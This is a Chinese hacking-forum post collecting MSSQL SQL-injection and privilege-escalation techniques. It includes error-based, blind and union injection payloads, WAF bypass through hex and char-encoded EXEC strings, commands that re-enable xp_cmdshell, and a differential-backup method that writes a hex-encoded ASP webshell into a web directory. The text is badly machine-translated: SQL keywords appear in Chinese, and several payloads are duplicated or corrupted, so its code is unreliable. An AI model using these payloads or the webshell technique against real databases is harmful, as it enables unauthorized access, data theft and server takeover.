H

MSSQL 注入与提权方法整理

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%

MSSQL 注入与提权方法整理​

1 SQL Server 相关基础简介​

1.1 默认库介绍​

Master-用于记录所有控制用户数据库和数据操作的SQL Server System-System-System-System-System-lever信息。
模型- SQL Server为用户数据库提供的样板。新的用户数据库基于模型数据库。
MSDB-由企业经理和代理使用,它记录任务计划信息,事件处理信息,数据备份和恢复信息,警告和异常信息。
tempdb-它为临时表和其他临时工作提供了一个存储区域。
信息
我们经常在此处处理的库是主人,该库存储所有数据库名称和存储过程。类似于MySQL中的信息_schema元数据。
20210120143745.png-water_print

以主库为例,以查看上述类别,其中查看表Master.dbo.sysdatabases存储所有数据库名称,而其他数据库的视图存储了库的表名和列名。每个库的视图图都有存储所有字段的SYSCOLUMNS,我们的功能可以编程存储它们。
1
从master.dbo.sysdatabases中选择名称;
查询所有数据库的名称。

1.2 字段介绍​

1
从sysobjects中选择顶级1个名称,xtype;
Xtype可以是以下对象类型之一:
C=检查约束
d=默认值或默认约束
F=外键约束
l=log
fn=标量功能
如果=inline表函数
P=存储过程
pk=主钥匙约束(类型为k)
RF=复制过滤存储过程
S=系统表
TF=表功能
tr=触发
U=用户表
uq=唯一约束(类型为k)
V=视图
x=扩展存储过程

2 SQL Server 信息收集​

2.1 权限判断​

SQL Server根据其功能范围:具有三个主体
Windows级校长
服务器级本金
数据库级主题
20210121092915.png-water_print

2.1.1 服务器级别​

在Microsoft的官方文档中,IS_SRVROLEMEMBERK('roun'[,'login']),该函数角色的有效值是用户定义的服务器角色和以下固定服务器角色:
20210120145938.png-water_print

返回类型:
返回值
描述
0
登录不是角色的成员。
1
登录是角色的成员。
无效的
角色或登录无效,或者无权查看角色成员资格。
最后,我们可以构建该陈述:
1
2
3
4
5
6
1=(select is_srvrolemember('sysadmin'))
1=(select is_srvrolemember('serveradmin'))
1=(select is_srvrolemember('setUpadmin'))
1=(select is_srvrolemember('SecurityAdmin'))
1=(select is_srvrolemember('diskadmin'))
1=(select is_srvrolemember('bulkadmin'))
使用sqlmap中的-is-dba命令来确定它是否为管理员特权
1
从管理员中选择* ID=1和5560 IN(select(char(113)+char(122)+char(113)+char(113)+char(107)+char(113)+char(113)+(select(select(case wher(is_srvrolememb)) char(49)else char(48)end))+char(113)+char(118)+char(112)+char(120)+char(113)))

2.1.2 数据库级别的角色​

SELECT IS_MEMBER('db_owner')
20210120150401.png-water_print

2.2 基本信息​

1
2
3
4
@@版本//数据库版本
用户//获取当前数据库用户名
db_name()//当前数据库名称db_name(n)可以遍历其他数据库
;选择用户//查询是否支持多个语句

2.3 判断站库分离​

1
从info中选择* id='1'和host_name()=@@@@@@servername; - '
最简单的方法,您当然可以致电XP_CMDShell,并且可以通过CMD判断它。
通过简单地判断数据库版本和当前用户权限,我们可以考虑下一步。例如,2005年XP_CMDSHELL的权限通常是系统,而2008年的权限通常为Nauthority \ Network Service

3 SQL Server 语法​

3.1 注释符号​

1
2
3
/*
- -
;%00

3.2 空白字符​

1
2
3
01,02,03,04,05,06,07,08,09,0a,0b,0c,0c,0d,0e,0e,0f,10,112,12,13,14,15,15,16,16,17,18,19,19,1A,1B,1B,1B,1C,1D,1D,1E,1F,1F,20
/**/

3.3 运算符号​

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
+加法操作
- 减法操作
*乘法操作
/difising操作,如果两个表达式的值是整数,则结果只会采用整数值,并且将省略小数值
%模块操作,分配两个数字后返回剩余的
位和逻辑操作从两个表达式中采用相应的位。当且仅当输入表达式中的两个位的值均为1时,结果中的位设置为1,否则结果中的位设置为0
|位或逻辑操作,从两个表达式中获取相应的位。如果输入表达式中的两个位之一的值为1,则将位设置为1,并且仅当两个位的值均为0时,结果位设置为0
^位独家或操作,从两个表达式中获取相应的位。如果输入表达式中的两个位中只有一个值为1,则结果中的位设置为1;只有两个位的值为0或1时,结果中的位设置为0
=等于
不等于
大于
!=不等
少于
呢不少于
=大于或等于
呢不大于
=小于或等于
如果组的比较为真,则所有比较结果为真
如果两个布尔表达式都是正确的,那么结果是正确的。如果表达式之一是错误的,则结果为false
如果一组中的任何比较是正确的,则结果是正确的
如果操作数在一定范围内,则结果为真
如果子查询中包含一些行,则存在结果为真
如果操作数等于表达式列表之一,则结果为真
就像操作数与模式匹配一样,结果为真
不相反,任何其他布尔运算符的结果值
或者,如果两个布尔表达式中的任何一个都是正确的,则结果为真
如果在一组比较中进行了一些比较,则结果为真

3.4 语法定义符号​

1
2
3
4
5
6
7
8
9
角括号,用于分离字符串,字符串是语法元素的名称,而SQL语言的非末端字符。
:=定义操作员。用于生成规则,分开规则定义的要素和规则定义。定义的元素位于操作员的左侧,规则定义位于操作员的右侧。
[]方括号指示规则中的可选元素。可以明确指定或省略方括号中的规则部分。
{} Curly Bracs收集规则中的元素。必须明确指定卷曲括号中的规则部分。
()支架正在分组操作员

4 MSSQL 注入​

4.1 显错注入​

4.1.1 原理​

MSSQL错误注入使用显示或隐式转换以报告错误注入,例如,以下是典型的隐式转换
1
2
3
4
5
从admin中选择* ID=1和(选择用户)0--
从管理员中选择* id=1 |(选择用户) -
无法将nvarchar值'dbo'转换为数据类型int。
显示转换意味着使用函数转换。我们经常使用的两个功能是铸造和转换
1
2
3
从admin中选择* id=1(选择cast(用户as int))
从admin中选择* id=1(选择转换(int,用户)))
判断当前数据库:ID=1'AND DB_NAME()0; -
20210120152616.png-water_print

爆表名:ID=1'和1=(从sysobjects中选择xtype='u'and name!='info'); - - - - -
20210120152643.png-water_print

爆列名:ID=1'和1=(从sysobjects中选择顶部1个名称id=(从sysobjects中选择in name='admin')和name'Id'); -
20210120152732.png-water_print

爆数据:ID=1'和1=(从管理员中选择顶部1个用户); -
20210120152807.png-water_print

4.1.2 其它用法​

当然,您还可以使用inoverny_schema.tables查询数据库中的所有表。
1
2
3
4
5
选择*来自Information_schema.tables
选择*来自信息_schema.columns where table_name='admin'
id=1和1=(从indoce_schema.tables中选择顶部1个table_name); -
要确定当前表名和列名,您还可以使用1=1,然后通过
ID=1具有1=1
20210120153503.png-water_print

爆出当前表和字段:ID=1组by info.id,info.name awmave 1=1
20210120153547.png-water_print

4.1.3 简单注入绕过​

这是一个声明函数,它是声明MSSQL中局部变量的函数。我们经常使用它来绕过WAF在某些关键字上的拦截。
1
从管理员id=1中选择* *
声明定义变量,设置变量值,执行执行变量
变量的值支持十六进制和ASCII代码。在过滤报价标记时,我们可以以这种方式对我们的语句进行编码。
1
2
3
从管理员id=1; select * select @s varchar(2000)set @s=0x73656C6565637420636F6E7666572727427428696E742C4042C40404040766665727272736969656ECEP( @s)exec( @s) - @s)
从管理员中选择* * where id=1; seclare @s varchar(2000)set @s=char(115) + char(101) + char(108) + char(101) + char(101) + char(99) + char(116) + char(116) + char(32) + char(99) + char(99) + char(99) + char(111) + char(110) + char(118) + char(118) + char(118) + char(101) +(114) +(114) +(114) +(114) +(114) +(114) +(114) +(114) +(114) +(114) +(114) +(114) +(114) char(110) + char(116) + char(44) + char(64) + char(64) + char(118) + char(101) + char(101) + char(114) + char(115) + char(115) + char(105) + char(105) + char(111) + char(110) + char(110) + char(110)

4.2 盲注​

实际上,与MySQL的相似性不过是对分割字符串的比较,但是MSSQL并没有那么多盲目的投注例程。

4.2.1 布尔盲注​

1
id=1和ascii(substring(((从master.dbo.sysdatabase中选择顶级1个名称),1,1))=109

4.2.2 时间盲注​

1
2
3
id=1; if(select is_srvrolemember('sysadmin'))=1等待延迟'0:0:5' -
id=1; if(ascii(substring(((从master.dbo.sysdatabase中,选择顶级1个名称),1,1)))1延迟'0:0:5' -

4.2 联合注入​

MSSQL关节注入我们通常不使用数字占位符,而是null,因为使用数字占位符可能会导致隐式转换
id=1联合选择null,名称,从信息中传递
20210120161528.png-water_print

您还可以使用以下方法:
ID=1选择1个联合(选择铸造(用户AS int))
20210120161612.png-water_print

5 MSSQL 提权​

20210120182207.png-water_print

5.1 备份拿 shell​

备份和获得外壳涉及权限问题。不用说,SA许可基本上可以做任何事情而无需降级。数据库权限是DB_owner。当然,如果其他用户也拥有db_owner,他们基本上可以通过备份来获得外壳,但是在设置目录权限之后他们不能这样做。

5.1.1 路径的寻找​

我们通常对需要道路的人有几个想法:
错误搜索
字典
现场信息收集
调用存储过程搜索
阅读配置文件
在这里,我们专注于存储过程,也就是说,这些功能用于查找我们的网站根目录。通常,我们可以使用xp_cmdshell,xp_dirtree,xp_dirtree,xp_subdirs
1
2
3
execute master.xp_dirtree'c:'//列出所有C: \文件和目录,子目录
execute master.xp_dirtree'c:',1 //类仅C: \文件夹
execute master.xp_dirtree'c:',1,1 //列C: \文件夹加文件
通过执行xp_dirtree,我们返回我们传递的参数。如果没有回声,我们可以以这种方式创建一个临时表插入。
1
2
3
id=1;创建表TMP(dir varchar(8000),num int,num1 int);
id=1;插入tmp(dir,num,num1)execute master.xp_dirtree'c:',1,1
xp_cmdshell查找路径:
此XP_CMDSHELL更方便地调用CMD命令搜索。例如,我的Web目录具有1.appx
1
2
C: \ USER \ geefor /r C: \%i in(1*.aspx)do @echo%i
C: \ www \ 1.apx
因此,您只需要创建一个表,并且有一个char字段。
1
2
3
id=1;创建表CMDTMP(dir varchar(8000));
id=1;插入cmdtmp(dir)exec master.xp_cmdshell'for /r c: \%i in(1*.aspx)do @echo%i i'
信息
SQL Server阻止了对组件XP_CMDSHELL SYS.XP_CMDSHELL的过程的访问,因为该组件已作为此服务器安全配置的一部分关闭。系统管理员可以使用sp_configure启用它。
如果遇到无法调用并且报告错误的XP_CMDShell,则可以通过以下命令来还原:
1
2
3
4
5
//允许修改高级参数
; exec sp_configure'显示高级选项',1; reconefigure;
//打开xp_cmdshell扩展
; exec sp_configure'xp_cmdshell',1; recongugure; -

5.1.2 差异备份​

1
2
3
4
5
6
7
8
9
10
//完成一次备份(可以更改保存位置)
备份数据库库名称disk='C: \ bak.bak'; -
创建表[DBO]。[test]([CMD] [image]);
//创建表CMD并插入句子特洛伊木马
插入测试(CMD)值(0x3C2565786563757465287265717575757575742822222229253E)
//进行差分备份
备份数据库库名称为disk='C: \ d.asp'带有差分,格式; -
有许多差别备份可能没有成功。通常,这是目录权限的问题。您第一次备份的目录是否可能没有权限,以及您第二次备份到网站目录的目录是否获得授权,因此通常不会直接备份到C磁盘根目录。
当过滤特殊字符(例如单引号或路径符号)时,您可以使用上述定义本地变量进行执行。

5.1.3 LOG 备份​

日志备份要求首先将指定的数据库激活为还原模式,因此ALT
对日志备份的要求是,目标机的数据库已备份,并且必须在完整模式下选择恢复模式,但是
 
后退
顶部